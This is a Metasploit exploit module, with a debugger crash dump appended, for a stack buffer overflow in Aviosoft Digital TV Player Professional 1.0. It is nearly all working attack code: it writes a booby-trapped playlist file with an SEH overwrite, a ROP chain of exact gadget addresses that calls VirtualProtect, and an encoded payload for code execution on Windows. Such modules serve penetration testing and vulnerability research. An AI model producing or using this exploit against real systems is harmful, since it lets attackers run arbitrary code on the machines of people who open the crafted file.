Aviosoft Digital TV Player Professional 1.0 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in Aviosoft Digital TV Player  
Pro version 1.x. An overflow occurs when the process copies the content of a  
playlist file on to the stack, which may result aribitrary code execution under  
the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'modpr0be', #Initial discovery, poc  
'sinn3r', #Metasploit  
],  
'References' =>  
[  
['OSVDB', '77043'],  
['URL', 'http://www.exploit-db.com/exploits/18096/'],  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x1a",  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Aviosoft DTV Player 1.0.1.2',  
{  
'Ret' => 0x6130534a, #Stack pivot (ADD ESP,800; RET)  
'Offset' => 612, #Offset to SEH  
'Max' => 5000 #Max buffer size  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Nov 9 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [false, 'The playlist name', 'msf.plf'])  
], self.class)  
end  
  
def junk(n=1)  
return [rand_text_alpha(4).unpack("L")[0]] * n  
end  
  
def nops(rop=false, n=1)  
return rop ? [0x61326003] * n : [0x90909090] * n  
end  
  
def exploit  
rop = [  
nops(true, 10), #ROP NOP  
0x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)  
0x10011108, #ptr to &VirtualProtect  
0x64010503, #PUSH EDX # POP EAX # POP ESI # RETN (MediaPlayerCtrl.dll)  
junk,  
0x6160949f, #MOV ECX,DWORD PTR DS:[EDX] # POP ESI (EPG.dll)  
junk(3),  
0x61604218, #PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C (EPG.dll)  
junk(3),  
0x6403d1a6, #POP EBP # RETN (MediaPlayerCtrl.dll)  
junk(3),  
0x60333560, #& push esp # ret 0c (Configuration.dll)  
0x61323EA8, #POP EAX # RETN (DTVDeviceManager.dll)  
0xA13977DF, #0x00000343-> ebx  
0x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)  
0x6163d37b, #PUSH EAX # ADD AL,5E # POP EBX # RETN (EPG.dll)  
0x61626807, #XOR EAX,EAX # RETN (EPG.dll)  
0x640203fc, #ADD EAX,5EC68B64 # RETN (MediaPlayerCtrl.dll)  
0x6405347a, #POP EDX # RETN (MediaPlayerCtrl.dll)  
0xA13974DC, #0x00000040-> edx  
0x613107fb, #ADD EDX,EAX # MOV EAX,EDX # RETN (DTVDeviceManager.dll)  
0x60326803, #POP ECX # RETN (Configuration.dll)  
0x60350340, #&Writable location  
0x61329e07, #POP EDI # RETN (DTVDeviceManager.dll)  
nops(true), #ROP NOP  
0x60340178, #POP EAX # RETN  
nops, #Regular NOPs  
0x60322e02 #PUSH # RETN  
].flatten.pack("V*")  
  
buf = ''  
buf << rand_text_alpha(target['Offset']-buf.length)  
buf << [target.ret].pack('V*')  
buf << rand_text_alpha(136)  
buf << rop  
buf << make_nops(32)  
buf << payload.encoded  
buf << rand_text_alpha(target['Max']-buf.length)  
  
file_create(buf)  
end  
end  
  
=begin  
eax=00001779 ebx=047a02c0 ecx=000001f4 edx=047a6814 esi=047a77bc edi=00130000  
eip=6400f6f0 esp=0012f038 ebp=00000001 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
MediaPlayerCtrl!DllCreateObject+0x220:  
6400f6f0 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]  
0:000> !exchain  
0012f3bc: *** WARNING: Unable to verify checksum for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Aviosoft\Aviosoft DTV Player Pro\DTVDeviceManager.dll -   
DTVDeviceManager+534a (6130534a)  
Invalid exception stack at 41414141  
0:000> !address edi  
00130000 : 00130000 - 00003000  
Type 00040000 MEM_MAPPED  
Protect 00000002 PAGE_READONLY  
State 00001000 MEM_COMMIT  
Usage RegionUsageIsVAD  
0:000> !address esi  
047a0000 : 047a0000 - 0000b000  
Type 00020000 MEM_PRIVATE  
Protect 00000004 PAGE_READWRITE  
State 00001000 MEM_COMMIT  
Usage RegionUsageHeap  
Handle 013c0000  
=end  
`